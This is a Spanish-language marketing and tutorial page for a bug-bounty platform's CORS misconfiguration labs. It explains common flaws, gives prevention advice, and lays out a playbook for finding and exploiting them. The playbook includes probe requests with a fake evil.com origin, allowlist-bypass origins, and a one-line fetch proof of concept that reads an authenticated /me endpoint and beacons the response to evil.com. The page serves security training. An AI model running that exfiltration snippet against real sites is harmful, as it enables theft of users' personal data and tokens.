Labs de CORS
CORS Misconfiguration
Deja de leer sobre bugs y empieza a cazarlos
Sin tarjeta · Academy gratis · cancela cuando quieras
¿Qué es CORS?
Las CORS Misconfigurations permiten que sitios maliciosos lean respuestas de APIs con datos sensibles del usuario víctima. Suele combinar reflection de Origin sin allowlist + Access-Control-Allow-Credentials: true, una combinación letal documentada por OWASP como crítica.
¿Por qué practicar CORS?
CORS es uno de los frentes peor entendidos en backend. Las regex sloppy (`/^https?://.*\.app\.com/`) y los reflectores sin allowlist son sorprendentemente comunes. Bounty típico: $1,500-$10,000 por exfil de PII de la API /me.
¿Qué aprenderás con los labs de CORS?
Aprenderás a auditar Access-Control-Allow-Origin y -Allow-Credentials, las 5 misconfigs clásicas (reflection, null, subdomain wildcard, regex bypass, third-party trust), y a montar un PoC con `fetch(target, {credentials:'include'})` que demuestre robo real de datos.
Tipos de CORS que cubrimos
- Reflected origin + credentials
El servidor refleja Origin y manda Allow-Credentials: true. Cualquier sitio puede leer la API logueada.
- Null origin trick
Origin: null se envía desde sandboxed iframes y data: URLs. Si el server lo permite, abusable cross-origin.
- Subdomain wildcard
*.app.com permitido — un XSS o subdomain takeover en cualquier sub permite robar la API principal.
- Regex bypass
Allowlist con regex débil: `evil.com.app.com` o `app.com.evil.com` matchean si la regex no ancla con $.
¿Cómo encontrar y explotar CORS?
Playbook práctico — del recon a la prueba de concepto.
- 1
Inspeccionar las cabeceras CORS
Manda una petición con un Origin arbitrario y mira la respuesta. Te interesa Access-Control-Allow-Origin (ACAO) y Access-Control-Allow-Credentials (ACAC).
curl -s -I https://api.target/me -H 'Origin: https://evil.com' - 2
Detectar reflejo de Origin + credenciales
Si ACAO devuelve tu Origin y ACAC es true, cualquier web puede leer respuestas autenticadas de la víctima. Es el caso crítico.
Access-Control-Allow-Origin: https://evil.com\nAccess-Control-Allow-Credentials: true - 3
Probar el truco de Origin: null
Algunos backends permiten null. Se envía desde un iframe sandbox o un data: URL, así que es explotable.
Origin: null → ¿ACAO: null? entonces vulnerable desde sandbox iframe - 4
Buscar bypass de allowlist
Las regex sin anclar permiten dominios como target.com.evil.com o evil-target.com. Prueba sufijos y prefijos.
Origin: https://target.com.evil.com · Origin: https://eviltarget.com - 5
Montar el PoC de exfiltración
Desde tu dominio, haz fetch con credentials:'include' al endpoint sensible y envía la respuesta a tu servidor.
fetch('https://api.target/me',{credentials:'include'}).then(r=>r.text()).then(d=>navigator.sendBeacon('//evil.com',d))
Aprende la teoría
Academy: CORS Misconfiguration
Cargando labs...
Ver en catálogo completo →Preguntas frecuentes
¿Qué es una CORS Misconfiguration?
Es una configuración insegura de Cross-Origin Resource Sharing que permite a sitios de terceros leer respuestas de una API con los datos de la víctima. El caso clásico combina reflejar el Origin del atacante con Access-Control-Allow-Credentials: true.
¿Cómo se explota una mala configuración CORS?
Desde una web del atacante se hace fetch con credentials:'include' al endpoint sensible de la víctima. Si el servidor refleja el Origin malicioso y permite credenciales, el navegador deja leer la respuesta y se exfiltran datos como PII o tokens.
¿Cómo encontrar fallos CORS en bug bounty?
Reenvía peticiones con un Origin arbitrario y observa ACAO/ACAC. Busca reflejo del Origin, aceptación de null, wildcards de subdominio y regex sin anclar. El objetivo más rentable es un /me o /account que devuelva datos personales.
¿Cómo prevenir una mala configuración CORS?
Usa una allowlist explícita de orígenes (sin reflejar el Origin recibido), no combines wildcard con credenciales, nunca permitas null, ancla bien las comparaciones de dominio y evita Access-Control-Allow-Credentials cuando no sea imprescindible.
¿Diferencia entre CORS misconfiguration y CSRF?
El CORS mal configurado permite LEER la respuesta cross-origin (robo de datos). El CSRF solo permite ENVIAR una petición a ciegas (cambiar estado), sin poder leer la respuesta. Por eso un CORS laxo con credenciales suele tener más impacto de confidencialidad.
Otras categorías relacionadas
hunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica CORS en labs reales
Cada lab de CORS replica un reporte real de bug bounty que se pagó. Crea tu cuenta gratis, empieza por la Academy y pasa a los labs cuando quieras.
Sin tarjeta · Academy gratis · cancela cuando quieras
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.